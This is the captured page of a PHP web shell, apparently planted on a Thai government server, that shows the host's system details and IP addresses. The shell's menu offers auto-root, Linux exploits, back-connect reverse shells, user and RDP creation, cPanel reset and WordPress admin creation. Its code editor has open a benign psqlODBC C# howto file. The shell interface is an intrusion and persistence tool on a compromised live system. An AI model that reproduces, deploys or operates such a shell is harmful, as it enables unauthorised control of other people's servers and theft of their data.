Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
postgresql-odbc-08.04.0200 /
[ HOME SHELL ]
Name
Size
Permission
Action
config-opt.html
6
KB
-rw-r--r--
config.html
13.76
KB
-rw-r--r--
faq.html
28.33
KB
-rw-r--r--
howto-accesslo.html
2.35
KB
-rw-r--r--
howto-accessvba.html
6.24
KB
-rw-r--r--
howto-bo.html
1.67
KB
-rw-r--r--
howto-ch.html
4.04
KB
-rw-r--r--
howto-csharp.html
4.95
KB
-rw-r--r--
howto-vb.html
3.42
KB
-rw-r--r--
howto-vblo.html
8.52
KB
-rw-r--r--
index.html
4.35
KB
-rw-r--r--
license.txt
25.14
KB
-rw-r--r--
readme.txt
1.35
KB
-rw-r--r--
release.html
43.97
KB
-rw-r--r--
unix-compilation.html
2.35
KB
-rw-r--r--
win32-compilation.html
3.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : howto-csharp.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"> <title>psqlODBC HOWTO - C#</title> </HEAD> <body bgcolor="#ffffff" text="#000000" link="#ff0000" vlink="#a00000" alink="#0000ff"> <h1>psqlODBC HOWTO - C#</h1> <p> <i> Author: Dave Page (dpage@postgresql.org)<br> Release Date: 12 April 2002<br> Description: Example based Mini-Howto on Accessing PostgreSQL from C# </i> <br><br> This document provides some sample code to get you started with C# & PostgreSQL. <br><br> Requirements to get the code to work: <br> <ul> <li>A C# Compiler.</li> <li>The Microsoft .NET Framework.</li> <li>The Microsoft ODBC .NET Data Provider.</li> <li>A PostgreSQL datasource.</li> </ul> The example code shown below may need some modification to make it actually work in your environment. There is one table used in the example: <br> <blockquote> <pre> CREATE TABLE vbtest( id serial, data text, accessed timestamp ); INSERT INTO csharptest(data, accessed) VALUES('Rows: 1', now()); INSERT INTO csharptest(data, accessed) VALUES('Rows: 2', now()); INSERT INTO csharptest(data, accessed) VALUES('Rows: 3', now()); </pre> </blockquote> <h2>Code</h2> <blockquote> <pre> using System; using System.Data; using Microsoft.Data.Odbc; class psqlODBC_Howto { [STAThread] static void Main(string[] args) { // Setup a connection string string szConnect = "DSN=dsnname;" + "UID=postgres;" + "PWD=********"; // Attempt to open a connection OdbcConnection cnDB = new OdbcConnection(szConnect); // The following code demonstrates how to catch & report an ODBC exception. // To keep things simple, this is the only exception handling in this example. // Note: The ODBC data provider requests ODBC3 from the driver. At the time of // writing, the psqlODBC driver only supports ODBC2.5 - this will cause // an additional error, but will *not* throw an exception. try { cnDB.Open(); } catch (OdbcException ex) { Console.WriteLine (ex.Message + "\n\n" + "StackTrace: \n\n" + ex.StackTrace); // Pause for the user to read the screen. Console.WriteLine("\nPress <RETURN> to continue..."); Console.Read(); return; } // Create a dataset DataSet dsDB = new DataSet(); OdbcDataAdapter adDB = new OdbcDataAdapter(); OdbcCommandBuilder cbDB = new OdbcCommandBuilder(adDB); adDB.SelectCommand = new OdbcCommand( "SELECT id, data, accessed FROM csharptest", cnDB); adDB.Fill(dsDB); // Display the record count Console.WriteLine("Table 'csharptest' contains {0} rows.\n", dsDB.Tables[0].Rows.Count); // List the columns (using a foreach loop) Console.WriteLine("Columns\n=======\n"); foreach(DataColumn dcDB in dsDB.Tables[0].Columns) Console.WriteLine("{0} ({1})", dcDB.ColumnName, dcDB.DataType); Console.WriteLine("\n"); // Iterate through the rows and display the data in the table (using a for loop). // Display the data column last for readability. Console.WriteLine("Data\n====\n"); for(int i=0;i<dsDB.Tables[0].Rows.Count;i++){ Console.WriteLine("id: {0}, accessed: {1}, data: {2}", dsDB.Tables[0].Rows[i]["id"], dsDB.Tables[0].Rows[i]["accessed"], dsDB.Tables[0].Rows[i]["data"]); } // Add a new row to the table using the dataset // Create a new row on the existing dataset, then set the values and add the row Console.WriteLine("\nInserting a new row..."); DataRow rwDB = dsDB.Tables[0].NewRow(); int iRows = dsDB.Tables[0].Rows.Count + 1; rwDB["data"] = "Rows: " + iRows.ToString(); rwDB["accessed"] = System.DateTime.Now; dsDB.Tables[0].Rows.Add(rwDB); adDB.Update(dsDB); // Delete a row from the table using a direct SQL query. // This method can also be used for direct INSERTs UPDATEs, CREATEs DROPs and more. Console.WriteLine("\nDeleting the row with the lowest ID..."); OdbcCommand cmDB = new OdbcCommand( "DELETE FROM csharptest WHERE id = (SELECT min(id) FROM csharptest)", cnDB); cmDB.ExecuteNonQuery(); // Execute a scalar query cmDB = new OdbcCommand("SELECT max(id) FROM csharptest", cnDB); string szMax = cmDB.ExecuteScalar().ToString(); Console.WriteLine("\nThe maximum value in the id column is now: {0}", szMax); // Pause for the user to read the screen. Console.WriteLine("\nPress <RETURN> to continue..."); Console.Read(); } } </pre> </blockquote> </p> </body> </html>
Close